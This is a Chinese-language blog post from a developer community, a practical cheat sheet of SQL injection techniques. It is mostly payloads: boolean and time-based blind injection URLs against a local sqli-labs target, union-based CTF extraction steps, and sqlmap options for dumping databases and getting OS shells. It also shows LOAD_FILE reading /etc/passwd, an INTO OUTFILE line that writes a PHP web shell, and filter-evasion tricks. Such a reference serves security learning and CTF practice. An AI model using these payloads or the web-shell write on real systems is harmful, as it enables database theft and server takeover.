前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入常用姿势

SQL注入常用姿势

原创
作者头像
用户11062199
发布2024-05-30 19:55:57
840
发布2024-05-30 19:55:57

万能用户名a' and 1=1

mid()---从文本字段中提取字符
代码语言:javascript
复制
 SELECT MID(column_name,start[,length]) FROM table_name;

column_name 必需。要提取字符的字段。

start 必需。规定开始位置(起始值是 1)。

length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

图片
图片
limit()---返回前几条或者中间某几行数据
代码语言:javascript
复制
 select * from table limit m,n;

其m指记录始index0始表示第条记录 n指第m+1条始取n条

图片
图片
Count()---聚集函数,统计元祖的个数
图片
图片

基于布尔盲注

通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。

  • 查看表名
代码语言:javascript
复制
 mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
  • 获取表名第一个字符
代码语言:javascript
复制
 mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
  • 获取表名第一个字符的ASCII
代码语言:javascript
复制
 mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;

获取字段名与字段内容原理一样。

以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。

  • 先判断当前数据库的长度
代码语言:javascript
复制
 http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

发现当值为8的时候,页面就没有显示。那么说明database()的长度是8

  • 获取数据库名

可以使用如下脚本猜解数据库名字:

图片
图片
  • 获取表长度
代码语言:javascript
复制
 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

发现当值为6的时候,页面就没有显示。那么说明表的长度是6

  • 获取表名

和上面类似,只需要把payload修改为下面即可:

代码语言:javascript
复制
 http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
  • 获取列名
代码语言:javascript
复制
 payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
  • 获取内容
代码语言:javascript
复制
 payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"
 ​
 payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"

基于时间盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理

首先理解一下下面的语句:

代码语言:javascript
复制
 if(database()=’security’,1,2)

判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。

代码语言:javascript
复制
 mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;
 ​
 ​
 ​
 1 row in set (0.00 sec)
 mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;
 ​
 ​
 ​
 1 row in set (5.00 sec)

以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。

  • 数据库长度判断
代码语言:javascript
复制
 http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
  • 使用二分法获得数据库名
图片
图片

剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。

  • 获取表名:
代码语言:javascript
复制
 payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取列名:
代码语言:javascript
复制
 payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取内容:
代码语言:javascript
复制
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"

SQLI

http://p0.qhimg.com/t01ec1ac77fe963166e.png
http://p0.qhimg.com/t01ec1ac77fe963166e.png
http://p2.qhimg.com/t0179a5120e122c8876.png
http://p2.qhimg.com/t0179a5120e122c8876.png

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

http://p5.qhimg.com/t01a8f245024e8d00e3.png
http://p5.qhimg.com/t01a8f245024e8d00e3.png
http://p2.qhimg.com/t013b833b91e84297d4.png
http://p2.qhimg.com/t013b833b91e84297d4.png
http://p1.qhimg.com/t012e4611c48e1bfe3c.png
http://p1.qhimg.com/t012e4611c48e1bfe3c.png
http://p5.qhimg.com/t01f0c1bb92253720ee.png
http://p5.qhimg.com/t01f0c1bb92253720ee.png

读文件函数LOAD_FILE()

Examples:

代码语言:javascript
复制
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';写文件

?id=1'回显error,且?id=1'--+回显数据,则存在字符型SQL漏洞 --+后接注释

?id=-1'报错执行后续命令

group_concat(schema_name) from information_schema schemata

group_concat()函数将所有数据库中相关数据进行字符串拼接并进行一行显示

%\ 和%1$\可替换为空

a’or true ordered by 3 没出错则至少有三个库

a’or true ordered by 4 出错则至多三个库

用database()查看库里面的表名

a‘or(ture)union(select(1),database(),3)#

我们需要记得是schema,tables,columns,schema_name,table_sechma,table_name,column_name

[图片]

select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#

group_concat函数是把一系列查询操作连在一起

通常sql的题会过滤一些关键字比如空格,单引号 或者是连着的单词ordered by里的ered by(这需要抓包才知道过滤了什么)

(),/**/,//,%1a$可替换为空格 单引号可替换为双引号 单词过滤可采用复写绕过比如orderedered by by

有些网站都回显,为了判断是否存在sql注入,可以传入a=-1

解题步骤

  1. 判断是数字注入还是字符注入?a=1 回显,?a=1’ 报错则为字符注入反之为数字注入
  2. 通过抓包看有无关键词过滤(有的时候过滤了也有回显)
  3. 查看有几个表名ordered by 3/4
  4. 确定注入位置 ?a=-1’ and 1 union select 1,2,3# ---->2
  5. 确定注入库名?a=-1’ and 1 union select 1,database(),3# --->web
  6. 开始联合搜索表名?a=-1’ and 1 union select 1,select group_concat table_name from information_schema.tables where table_schema=web,3#--->flag,next
  7. 进一步搜索列名?a=-1 and 1 union select 1,select group_concat column_name from information_schema.columns where table_schema=’web’ and table_name=‘flag’,3# -->flag
  8. 直接调用 a=-1’ and 1 union select 1,selest flag from flag ,3# 获取flag

Sqlmap

get型常用参数

代码语言:javascript
复制
-u:指定注入的URL   sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
      [11:57:52] [INFO] testing if current user is DBA
    [11:57:52] [INFO] fetching current user
    current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell  sqlmap -u URL --sql-shell
--os-shell:获取服务器shell  sqlmap -u URL --os-shell
--file-read:读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描

post型常用参数

代码语言:javascript
复制
-r:指定POST数据文件  sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数

SQL注入绕过

空格过滤绕过

preg_match(‘/ /’,$_GET[“id”])源码利用正则匹配对空格过滤

  1. 注释符(/**/)绕过
  2. 制表符(Tab)绕过
  3. 换行符(%0a)绕过
  4. ` 绕过

特殊字符绕过空格

http://p7.qhimg.com/t019037062ef5bcef07.png
http://p7.qhimg.com/t019037062ef5bcef07.png

Example:

代码语言:javascript
复制
'%0AUNION%0CSELECT%A0NULL%20%23

括号绕过空格

http://p8.qhimg.com/t0133fe2a7e485cc231.png
http://p8.qhimg.com/t0133fe2a7e485cc231.png

Example:

代码语言:javascript
复制
UNION(SELECT(column)FROM(table))

注释符&引号

代码语言:javascript
复制
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";

关键字绕过

测试用例information_schema.tables

http://p9.qhimg.com/t01938f16e28277c385.png
http://p9.qhimg.com/t01938f16e28277c385.png

大小写绕过

preg_match(‘/select/’,$_GET[“id”])过滤绕过关键词select(以下例子都过滤了select) 用seLect绕过

双写关键字绕过

id=preg_replace(‘/select /i’,’ ’,$_GET[“id”]) 正则表达式中的i意味着严格匹配大小写,故不能使用大小写绕过,可用seselectlect双写绕过

编码绕过

双重URL编码绕过

select------>se%256cect

Unicode编码绕过

select----->se%u006cect

等价函数字符替换绕过

用like或 in 替换 =

select from user where username=‘url’------>select from user where username like ‘url’

逗号绕过

select substr(database(),1,1);------> select substr(database() from 1 for 1);

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基于布尔盲注
  • 基于时间盲注
  • SQLI
  • 解题步骤
  • Sqlmap
  • SQL注入绕过
    • 空格过滤绕过
      • 大小写绕过
        • 双写关键字绕过
          • 编码绕过
            • 双重URL编码绕过
            • Unicode编码绕过
          • 等价函数字符替换绕过
            • 用like或 in 替换 =
            • 逗号绕过
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档